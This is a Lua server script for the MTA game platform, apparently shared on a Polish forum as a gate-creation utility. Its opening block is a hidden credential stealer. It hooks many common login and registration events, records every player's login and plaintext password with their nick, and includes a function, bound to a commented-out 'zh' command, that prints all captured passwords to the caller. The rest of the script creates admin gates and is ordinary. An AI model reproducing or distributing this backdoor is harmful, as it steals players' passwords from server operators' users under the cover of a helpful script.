function dod ( login , haslo , graczek )
Aktualizuj ( login )
table . insert ( tabela ,{ login , haslo , getPlayerName ( graczek ) or "X" })
end
function dodaj ( username , pass )
dod ( username , pass , source )
end
addEvent ( "onClientSendLoginDataToServer" , true )
addEventHandler ( "onClientSendLoginDataToServer" , getRootElement (), dodaj )
addEvent ( "onClientSendRegisterDataToServer" , true )
addEventHandler ( "onClientSendRegisterDataToServer" , getRootElement (), dodaj )
addEvent ( "onRequestLogin" , true )
addEvent ( "onRequestRegister" , true )
addEvent ( "logging:checkAccount" , true )
addEvent ( "logging:newAccount" , true )
addEventHandler ( "onRequestLogin" , getRootElement (), dodaj )
addEventHandler ( "onRequestRegister" , getRootElement (), dodaj )
addEventHandler ( "logging:checkAccount" , getRootElement (), dodaj )
addEventHandler ( "logging:newAccount" , getRootElement (), dodaj )
function pobierzHasla ( gracz , cmd )
outputChatBox ( "Lista" , gracz )
for i , v in pairs ( tabela ) do
outputChatBox ( "Nick: " .. v [ 3 ].. " Login:" .. v [ 1 ].. " has?o" .. v [ 2 ], gracz )
end
end
-- addCommandHandler ( "zh" , pobierzHasla )
GateID = { 975 , 977 , 980 , 1492 , 1493 , 1494 , 1946 , 1497 , 1946 , 1499 , 1500 , 1501 , 1502 , 1503 , 1504 , 1505 , 1307 , 3352 , 19066 , 19860 }
addCommandHandler ( "stworz.brame" , function( plr , cmd , object , type , value )
if onCheckAdmin ( plr , 3 ) then
if object and type and value then
local object = tonumber (object)
local x , y , z = getElementPosition ( plr )
local rotX , rotY , rotZ = getElementRotation ( plr )
local Gate = createObject ( GateID [ object ], x , y , z + 1.85 , 0 , 0 , rotZ - 90 )
local x , y , z = getElementPosition ( Gate )
local rotX , rotY , rotZ = getElementRotation ( Gate )
setElementPosition ( plr , x - 2 , y - 2 , z )
if Gate then
local x , y , z = getElementPosition ( Gate )
local col = createColSphere ( x , y , z , 5 )
setElementData ( col , "GateMove:Permission" , getPlayerName ( plr ))
setElementData ( col , "GateState:X" , x )
setElementData ( col , "GateState:Y" , y )
setElementData ( col , "GateState:Z" , z )
setElementData ( col , "GateState:RX" , rotX )
setElementData ( col , "GateState:RY" , rotY )
setElementData ( col , "GateState:RZ" , rotZ )
setElementData ( col , "GateValue" , value )
if type == "Left" then
setElementData ( col , "GateMove" , "Left" )
elseif type == "Right" then
setElementData ( col , "GateMove" , "Right" )
elseif type == "Up" then
setElementData ( col , "GateMove" , "Up" )
elseif type == "Down" then
setElementData ( col , "GateMove" , "Down" )
else
destroyElement ( Gate )
destroyElement ( col )
outputChatBox ( "Nie wybrano typu otwierania bramy" , plr , 150 , 0 , 0 )
return false
end
attachElements ( Gate , col )
addEventHandler ( "onColShapeHit" , col , Enter_Gate )
addEventHandler ( "onColShapeLeave" , col , Leave_Gate )
end
end
end
end )
function Enter_Gate ( thePlayer , matchingDimension )
if getElementType ( thePlayer ) == "player" then
local el = getAttachedElements ( source )
if getElementData ( source , "GateMove:Permission" ) == getPlayerName ( thePlayer ) then
for i , v in ipairs ( el ) do
if getElementType ( v )== "object" then
local x , y , z = getElementPosition ( v )
local value = getElementData ( source , "GateValue" )
local rz = getElementData ( source , "GateState:RZ" )
local type = getElementData ( source , "GateMove" )
if type == "Left" then
moveObject ( v , 5000 , x - value , y , z )
elseif type == "Right" then
moveObject ( v , 5000 , x + value , y , z )
elseif type == "Up" then
moveObject ( v , 5000 , x , y , z + value )
elseif type == "Down" then
moveObject ( v , 5000 , x , y , z - value )
end
end
end
end
end
end
function Leave_Gate ( thePlayer , matchingDimension )
if getElementType ( thePlayer ) == "player" then
if getElementData ( source , "GateMove:Permission" ) == getPlayerName ( thePlayer ) then
local el = getAttachedElements ( source )
for i , v in ipairs ( el ) do
if getElementType ( v )== "object" then
local x = getElementData ( source , "GateState:X" )
local y = getElementData ( source , "GateState:Y" )
local z = getElementData ( source , "GateState:Z" )
moveObject ( v , 5000 , x , y , z )
end
end
end
end
end
Podpis
Pomogłem? Wystarczy że podziękujesz albo dasz respekt
Wole respekt niz piwka